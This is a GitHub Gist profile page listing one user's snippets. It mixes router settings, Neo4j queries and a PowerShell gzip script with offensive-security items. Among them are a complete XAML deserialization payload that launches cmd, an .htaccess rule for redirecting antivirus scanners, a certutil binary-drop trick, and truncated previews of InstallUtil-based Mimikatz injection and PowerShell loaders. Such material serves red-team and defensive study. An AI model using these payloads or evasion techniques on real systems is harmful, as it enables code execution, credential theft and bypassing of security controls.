Skip to content

Instantly share code, notes, and snippets.

Meatballs1 /
Created Apr 1, 2021
Sky/NowTV DD-WRT WAN Authentication DHCP Option 61 MER (not PPPOE)

Setup > WAN Setup > WAN Connection Type: DHCP Authentication

DHCP Client ID: 686940736b7964736c7c6162636465666768 DHCP IPV6 Client ID: 686940736b7964736c7c6162636465666768

IPV6 > IPv6Support > IPv6 Type : DHCPv6 with Prefix Delegation

Meatballs1 / Payload.cs
Created Nov 4, 2020
XAMLReader.Load(Stream) payload avoiding Root Element Is Missing exception
View Payload.cs
String cmd = "ping";
String payload = @"<ResourceDictionary xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns="""" xmlns:sd=""clr-namespace:System.Diagnostics;assembly=System"" xmlns:x=""""><ObjectDataProvider ObjectType=""sd:Process"" MethodName=""Start"" x:Key=""LaunchCalc""><ObjectDataProvider.MethodParameters><System:String>cmd</System:String><System:String>/c """ + cmd + @"""</System:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>";
Meatballs1 / gist:998d63ab12ce503bfc5dfb3e70ed56ac
Last active Apr 15, 2020
Nintendo DS WiFi Settings DD-WRT Error 51099
View gist:998d63ab12ce503bfc5dfb3e70ed56ac
Wireless > Advanced Settings > Bluetooth Coexistence Mode - Set to Disabled
Use DNS server:
Meatballs1 / .htaccess
Last active Jan 7, 2022 — forked from curi0usJack/.htaccess
Drop into your apache working directory to instantly redirect most AV crap elsewhere.
View .htaccess
RewriteEngine On
RewriteOptions Inherit
# Uncomment the below line for verbose logging, including seeing which rule matched.
#LogLevel alert rewrite:trace5
Meatballs1 / anonymize.cypher
Created Aug 2, 2017
Anonymize user names in Neo4j APOC
View anonymize.cypher
MATCH (u:user)
WITH u, apoc.text.join(apoc.coll.randomItems(split("abcdefghijklmnopqrstuvwxyz0123456789",""), 12, true),"") as identifier
Meatballs1 / gist:dcd0a6017fbf3b4fe56861ac54e7cc1f
Created Aug 2, 2017
Generate a random identifier with Neo4j Apoc
View gist:dcd0a6017fbf3b4fe56861ac54e7cc1f
RETURN apoc.text.join(apoc.coll.randomItems(split("abcdefghijklmnopqrstuvwxyz0123456789",""), 12, true),"")
Meatballs1 / gzip.ps1
Created Apr 21, 2016
Simple Powershell Compression
View gzip.ps1
$path = "C:\data\sysvol_results.csv"
$inStream = new-object System.IO.FileStream($path, [System.IO.FileMode]::Open);
$outStream = new-object System.IO.FileStream("$($path).gz", [System.IO.FileMode]::CreateNew);
$compressionStream = new-object System.IO.Compression.GZipStream($outStream, [System.IO.Compression.CompressionMode]::Compress);
Meatballs1 / PELoader.cs
Last active Dec 26, 2021
Reflective PE Injection Mimikatz - Via InstallUtil.exe
View PELoader.cs
using System;
using System.IO;
using System.Text;
using System.Collections.Generic;
using System.Configuration.Install;
using System.Runtime.InteropServices;
Meatballs1 / drop_binary.bat
Last active Aug 29, 2015 — forked from mattifestation/drop_binary.bat
Drop binary data from the command line w/o needing PowerShell
View drop_binary.bat
echo -----BEGIN CERTIFICATE----- > encoded.txt
echo Just Base64 encode your binary data
echo TVoAAA== >> encoded.txt
echo -----END CERTIFICATE----- >> encoded.txt
certutil -decode encoded.txt decoded.bin
Meatballs1 / InstallUtil-PowerShell.cs
Last active May 12, 2020
InstallUtil.exe PowerShell
View InstallUtil-PowerShell.cs
using System;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;